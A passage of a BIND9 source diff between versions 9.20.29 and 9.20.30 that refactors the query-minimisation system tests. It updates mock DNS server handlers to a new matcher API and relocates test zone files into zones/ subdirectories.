-from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - DomainHandler, - QueryContext, - ResponseAction, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain from ..qmin_ans import ( DelayedResponseHandler, @@ -35,27 +29,27 @@ class QueryLogger(QueryLogHandler): - domains = ["1.0.0.2.ip6.arpa.", "fwd.", "good."] + matcher = Domain("1.0.0.2.ip6.arpa.", "fwd.", "good.") class BadHandler(EntRcodeChanger): - domains = ["bad."] + matcher = Domain("bad.") rcode = dns.rcode.NXDOMAIN class UglyHandler(EntRcodeChanger): - domains = ["ugly."] + matcher = Domain("ugly.") rcode = dns.rcode.FORMERR class SlowHandler(DelayedResponseHandler): - domains = ["slow."] + matcher = Domain("slow.") delay = 0.2 def send_delegation( qctx: QueryContext, zone_cut: dns.name.Name, target_addr: str -) -> ResponseAction: +) -> DnsResponseSend: """ Delegate `zone_cut` to a single in-bailiwick name server, `ns.`, with a single IPv4 glue record (provided in `target_addr`) included in the @@ -73,7 +67,7 @@ return DnsResponseSend(response, authoritative=False) -class StaleHandler(DomainHandler): +class StaleHandler(ResponseHandler): """ `a.b.stale` is a subdomain of `b.stale` and these two subdomains need to be delegated to different name servers. Therefore, their delegations cannot @@ -82,11 +76,11 @@ on the QNAME. """ - domains = ["stale."] + matcher = Domain("stale.") async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: log_query(qctx) a_b_stale = dns.name.from_text("a.b.stale.") b_stale = dns.name.from_text("b.stale.") diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/bad.db bind9-9.20.30/bin/tests/system/qmin/ans2/bad.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/bad.db 2026-09-11 19:41:01.286325849 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/bad.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,26 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns2 hostmaster.arpa. 2018050100 1 1 1 1 - -@ 30 NS ns2 -ns2 30 A 10.53.0.2 - 30 AAAA fd92:7065:b8e:ffff::2 - -zoop.boing 30 NS ns3 -ns3 30 A 10.53.0.3 - 30 AAAA fd92:7065:b8e:ffff::3 - -ns4 30 A 10.53.0.4 - 30 AAAA fd92:7065:b8e:ffff::4 - -a.bit.longer.ns.name 1 A 10.53.0.4 - 1 AAAA fd92:7065:b8e:ffff::4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/fwd.db bind9-9.20.30/bin/tests/system/qmin/ans2/fwd.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/fwd.db 2026-09-11 19:41:01.286325849 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/fwd.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,26 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns2 hostmaster.arpa. 2018050100 1 1 1 1 - -@ 30 NS ns2 -ns2 30 A 10.53.0.2 - 30 AAAA fd92:7065:b8e:ffff::2 - -zoop.boing 30 NS ns3 -ns3 30 A 10.53.0.3 - 30 AAAA fd92:7065:b8e:ffff::3 - -ns4 30 A 10.53.0.4 - 30 AAAA fd92:7065:b8e:ffff::4 - -a.bit.longer.ns.name 1 A 10.53.0.4 - 1 AAAA fd92:7065:b8e:ffff::4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/good.db bind9-9.20.30/bin/tests/system/qmin/ans2/good.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/good.db 2026-09-11 19:41:01.286325849 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/good.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,26 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns2 hostmaster.arpa. 2018050100 1 1 1 1 - -@ 30 NS ns2 -ns2 30 A 10.53.0.2 - 30 AAAA fd92:7065:b8e:ffff::2 - -zoop.boing 30 NS ns3 -ns3 30 A 10.53.0.3 - 30 AAAA fd92:7065:b8e:ffff::3 - -ns4 30 A 10.53.0.4 - 30 AAAA fd92:7065:b8e:ffff::4 - -a.bit.longer.ns.name 1 A 10.53.0.4 - 1 AAAA fd92:7065:b8e:ffff::4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/slow.db bind9-9.20.30/bin/tests/system/qmin/ans2/slow.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/slow.db 2026-09-11 19:41:01.286325849 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/slow.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,26 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns2 hostmaster.arpa. 2018050100 1 1 1 1 - -@ 30 NS ns2 -ns2 30 A 10.53.0.2 - 30 AAAA fd92:7065:b8e:ffff::2 - -zoop.boing 30 NS ns3 -ns3 30 A 10.53.0.3 - 30 AAAA fd92:7065:b8e:ffff::3 - -ns4 30 A 10.53.0.4 - 30 AAAA fd92:7065:b8e:ffff::4 - -a.bit.longer.ns.name 1 A 10.53.0.4 - 1 AAAA fd92:7065:b8e:ffff::4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/stale.db bind9-9.20.30/bin/tests/system/qmin/ans2/stale.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/stale.db 2026-09-11 19:41:01.286325849 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/stale.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,15 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 2 SOA ns2 hostmaster.stale. 1 2 3 4 5 -@ 2 NS ns2 -ns2 2 A 10.53.0.2 - 2 AAAA fd92:7065:b8e:ffff::2 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/ugly.db bind9-9.20.30/bin/tests/system/qmin/ans2/ugly.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/ugly.db 2026-09-11 19:41:01.286325849 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/ugly.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,26 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns2 hostmaster.arpa. 2018050100 1 1 1 1 - -@ 30 NS ns2 -ns2 30 A 10.53.0.2 - 30 AAAA fd92:7065:b8e:ffff::2 - -zoop.boing 30 NS ns3 -ns3 30 A 10.53.0.3 - 30 AAAA fd92:7065:b8e:ffff::3 - -ns4 30 A 10.53.0.4 - 30 AAAA fd92:7065:b8e:ffff::4 - -a.bit.longer.ns.name 1 A 10.53.0.4 - 1 AAAA fd92:7065:b8e:ffff::4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/zones/1.0.0.2.ip6.arpa.db bind9-9.20.30/bin/tests/system/qmin/ans2/zones/1.0.0.2.ip6.arpa.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/zones/1.0.0.2.ip6.arpa.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/zones/1.0.0.2.ip6.arpa.db 2026-10-12 13:12:08.221895934 +0000 @@ -0,0 +1,17 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 30 SOA ns2.good. hostmaster.arpa. 2018050100 1 1 1 1 +@ 30 NS ns2.good. + +8.2.6.0 60 NS ns3.good. + +1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.f.4.0 1 PTR nee.com. diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/zones/bad.db bind9-9.20.30/bin/tests/system/qmin/ans2/zones/bad.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/zones/bad.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/zones/bad.db 2026-10-12 13:12:08.221895934 +0000 @@ -0,0 +1,26 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns2 hostmaster.arpa. 2018050100 1 1 1 1 + +@ 30 NS ns2 +ns2 30 A 10.53.0.2 + 30 AAAA fd92:7065:b8e:ffff::2 + +zoop.boing 30 NS ns3 +ns3 30 A 10.53.0.3 + 30 AAAA fd92:7065:b8e:ffff::3 + +ns4 30 A 10.53.0.4 + 30 AAAA fd92:7065:b8e:ffff::4 + +a.bit.longer.ns.name 1 A 10.53.0.4 + 1 AAAA fd92:7065:b8e:ffff::4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/zones/fwd.db bind9-9.20.30/bin/tests/system/qmin/ans2/zones/fwd.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/zones/fwd.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/zones/fwd.db 2026-10-12 13:12:08.221895934 +0000 @@ -0,0 +1,26 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns2 hostmaster.arpa. 2018050100 1 1 1 1 + +@ 30 NS ns2 +ns2 30 A 10.53.0.2 + 30 AAAA fd92:7065:b8e:ffff::2 + +zoop.boing 30 NS ns3 +ns3 30 A 10.53.0.3 + 30 AAAA fd92:7065:b8e:ffff::3 + +ns4 30 A 10.53.0.4 + 30 AAAA fd92:7065:b8e:ffff::4 + +a.bit.longer.ns.name 1 A 10.53.0.4 + 1 AAAA fd92:7065:b8e:ffff::4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/zones/good.db bind9-9.20.30/bin/tests/system/qmin/ans2/zones/good.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/zones/good.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/zones/good.db 2026-10-12 13:12:08.221895934 +0000 @@ -0,0 +1,26 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns2 hostmaster.arpa. 2018050100 1 1 1 1 + +@ 30 NS ns2 +ns2 30 A 10.53.0.2 + 30 AAAA fd92:7065:b8e:ffff::2 + +zoop.boing 30 NS ns3 +ns3 30 A 10.53.0.3 + 30 AAAA fd92:7065:b8e:ffff::3 + +ns4 30 A 10.53.0.4 + 30 AAAA fd92:7065:b8e:ffff::4 + +a.bit.longer.ns.name 1 A 10.53.0.4 + 1 AAAA fd92:7065:b8e:ffff::4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/zones/slow.db bind9-9.20.30/bin/tests/system/qmin/ans2/zones/slow.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/zones/slow.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/zones/slow.db 2026-10-12 13:12:08.221895934 +0000 @@ -0,0 +1,26 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns2 hostmaster.arpa. 2018050100 1 1 1 1 + +@ 30 NS ns2 +ns2 30 A 10.53.0.2 + 30 AAAA fd92:7065:b8e:ffff::2 + +zoop.boing 30 NS ns3 +ns3 30 A 10.53.0.3 + 30 AAAA fd92:7065:b8e:ffff::3 + +ns4 30 A 10.53.0.4 + 30 AAAA fd92:7065:b8e:ffff::4 + +a.bit.longer.ns.name 1 A 10.53.0.4 + 1 AAAA fd92:7065:b8e:ffff::4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/zones/stale.db bind9-9.20.30/bin/tests/system/qmin/ans2/zones/stale.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/zones/stale.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/zones/stale.db 2026-10-12 13:12:08.221895934 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 2 SOA ns2 hostmaster.stale. 1 2 3 4 5 +@ 2 NS ns2 +ns2 2 A 10.53.0.2 + 2 AAAA fd92:7065:b8e:ffff::2 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans2/zones/ugly.db bind9-9.20.30/bin/tests/system/qmin/ans2/zones/ugly.db --- bind9-9.20.29/bin/tests/system/qmin/ans2/zones/ugly.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans2/zones/ugly.db 2026-10-12 13:12:08.221895934 +0000 @@ -0,0 +1,26 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns2 hostmaster.arpa. 2018050100 1 1 1 1 + +@ 30 NS ns2 +ns2 30 A 10.53.0.2 + 30 AAAA fd92:7065:b8e:ffff::2 + +zoop.boing 30 NS ns3 +ns3 30 A 10.53.0.3 + 30 AAAA fd92:7065:b8e:ffff::3 + +ns4 30 A 10.53.0.4 + 30 AAAA fd92:7065:b8e:ffff::4 + +a.bit.longer.ns.name 1 A 10.53.0.4 + 1 AAAA fd92:7065:b8e:ffff::4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans3/8.2.6.0.1.0.0.2.ip6.arpa.db bind9-9.20.30/bin/tests/system/qmin/ans3/8.2.6.0.1.0.0.2.ip6.arpa.db --- bind9-9.20.29/bin/tests/system/qmin/ans3/8.2.6.0.1.0.0.2.ip6.arpa.db 2026-09-11 19:41:01.311326447 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans3/8.2.6.0.1.0.0.2.ip6.arpa.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,15 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 30 SOA ns3.good. hostmaster.arpa. 2018050100 1 1 1 1 -@ 30 NS ns3.good. - -1.1.1.1 60 NS ns4.good. diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans3/a.b.stale.db bind9-9.20.30/bin/tests/system/qmin/ans3/a.b.stale.db --- bind9-9.20.29/bin/tests/system/qmin/ans3/a.b.stale.db 2026-09-11 19:41:01.311326447 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans3/a.b.stale.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,15 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns hostmaster.a.b.stale. 1 2 3 4 5 -@ 1 NS ns -@ 1 TXT "peekaboo" -ns 1 A 10.53.0.3 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans3/ans.py bind9-9.20.30/bin/tests/system/qmin/ans3/ans.py --- bind9-9.20.29/bin/tests/system/qmin/ans3/ans.py 2026-09-11 19:41:01.311326447 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans3/ans.py 2026-10-12 13:12:08.221895934 +0000 @@ -1,39 +1,38 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. import dns.rcode from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.matchers import Domain from ..qmin_ans import DelayedResponseHandler, EntRcodeChanger, QueryLogHandler class QueryLogger(QueryLogHandler): - domains = ["8.2.6.0.1.0.0.2.ip6.arpa.", "a.b.stale.", "zoop.boing.good."] + matcher = Domain("8.2.6.0.1.0.0.2.ip6.arpa.", "a.b.stale.", "zoop.boing.good.") class ZoopBoingBadHandler(EntRcodeChanger): - domains = ["zoop.boing.bad."] + matcher = Domain("zoop.boing.bad.") rcode = dns.rcode.NXDOMAIN class ZoopBoingUglyHandler(EntRcodeChanger): - domains = ["zoop.boing.ugly."] + matcher = Domain("zoop.boing.ugly.") rcode = dns.rcode.FORMERR class ZoopBoingSlowHandler(DelayedResponseHandler): - domains = ["zoop.boing.slow."] + matcher = Domain("zoop.boing.slow.") delay = 0.4 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans3/zones/8.2.6.0.1.0.0.2.ip6.arpa.db bind9-9.20.30/bin/tests/system/qmin/ans3/zones/8.2.6.0.1.0.0.2.ip6.arpa.db --- bind9-9.20.29/bin/tests/system/qmin/ans3/zones/8.2.6.0.1.0.0.2.ip6.arpa.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans3/zones/8.2.6.0.1.0.0.2.ip6.arpa.db 2026-10-12 13:12:08.221895934 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 30 SOA ns3.good. hostmaster.arpa. 2018050100 1 1 1 1 +@ 30 NS ns3.good. + +1.1.1.1 60 NS ns4.good. diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans3/zones/a.b.stale.db bind9-9.20.30/bin/tests/system/qmin/ans3/zones/a.b.stale.db --- bind9-9.20.29/bin/tests/system/qmin/ans3/zones/a.b.stale.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans3/zones/a.b.stale.db 2026-10-12 13:12:08.221895934 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns hostmaster.a.b.stale. 1 2 3 4 5 +@ 1 NS ns +@ 1 TXT "peekaboo" +ns 1 A 10.53.0.3 diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans3/zones/zoop.boing.bad.db bind9-9.20.30/bin/tests/system/qmin/ans3/zones/zoop.boing.bad.db --- bind9-9.20.29/bin/tests/system/qmin/ans3/zones/zoop.boing.bad.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans3/zones/zoop.boing.bad.db 2026-10-12 13:12:08.221895934 +0000 @@ -0,0 +1,14 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns3.bad. hostmaster.arpa. 2018050100 1 1 1 1 +@ 1 NS ns3.bad. +icky.ptang 1 NS a.bit.longer.ns.name.bad. diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans3/zones/zoop.boing.good.db bind9-9.20.30/bin/tests/system/qmin/ans3/zones/zoop.boing.good.db --- bind9-9.20.29/bin/tests/system/qmin/ans3/zones/zoop.boing.good.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans3/zones/zoop.boing.good.db 2026-10-12 13:12:08.221895934 +0000 @@ -0,0 +1,14 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns3.good. hostmaster.arpa. 2018050100 1 1 1 1 +@ 1 NS ns3.good. +icky.ptang 1 NS a.bit.longer.ns.name.good. diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans3/zones/zoop.boing.slow.db bind9-9.20.30/bin/tests/system/qmin/ans3/zones/zoop.boing.slow.db --- bind9-9.20.29/bin/tests/system/qmin/ans3/zones/zoop.boing.slow.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans3/zones/zoop.boing.slow.db 2026-10-12 13:12:08.221895934 +0000 @@ -0,0 +1,14 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns3.slow. hostmaster.arpa. 2018050100 1 1 1 1 +@ 1 NS ns3.slow. +icky.ptang 1 NS a.bit.longer.ns.name.slow. diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans3/zones/zoop.boing.ugly.db bind9-9.20.30/bin/tests/system/qmin/ans3/zones/zoop.boing.ugly.db --- bind9-9.20.29/bin/tests/system/qmin/ans3/zones/zoop.boing.ugly.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans3/zones/zoop.boing.ugly.db 2026-10-12 13:12:08.221895934 +0000 @@ -0,0 +1,14 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 1 SOA ns3.ugly. hostmaster.arpa. 2018050100 1 1 1 1 +@ 1 NS ns3.ugly. +icky.ptang 1 NS a.bit.longer.ns.name.ugly. diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans3/zoop.boing.bad.db bind9-9.20.30/bin/tests/system/qmin/ans3/zoop.boing.bad.db --- bind9-9.20.29/bin/tests/system/qmin/ans3/zoop.boing.bad.db 2026-09-11 19:41:01.311326447 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans3/zoop.boing.bad.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,14 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns3.bad. hostmaster.arpa. 2018050100 1 1 1 1 -@ 1 NS ns3.bad. -icky.ptang 1 NS a.bit.longer.ns.name.bad. diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans3/zoop.boing.good.db bind9-9.20.30/bin/tests/system/qmin/ans3/zoop.boing.good.db --- bind9-9.20.29/bin/tests/system/qmin/ans3/zoop.boing.good.db 2026-09-11 19:41:01.311326447 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans3/zoop.boing.good.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,14 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns3.good. hostmaster.arpa. 2018050100 1 1 1 1 -@ 1 NS ns3.good. -icky.ptang 1 NS a.bit.longer.ns.name.good. diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans3/zoop.boing.slow.db bind9-9.20.30/bin/tests/system/qmin/ans3/zoop.boing.slow.db --- bind9-9.20.29/bin/tests/system/qmin/ans3/zoop.boing.slow.db 2026-09-11 19:41:01.311326447 +0000 +++ bind9-9.20.30/bin/tests/system/qmin/ans3/zoop.boing.slow.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,14 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 1 SOA ns3.slow. hostmaster.arpa. 2018050100 1 1 1 1 -@ 1 NS ns3.slow. -icky.ptang 1 NS a.bit.longer.ns.name.slow. diff -Nru bind9-9.20.29/bin/tests/system/qmin/ans3/zoop.boing.ugly.db bind9-9.20.30/bin/tests/system/qmin/ans3/zoop.boing.ugly.db --- bind9-9.20.29/bin/tests/system/qmin/ans3/zoop.boing.ugly.db 2026-09-11 19:41:01.311326447 +0000 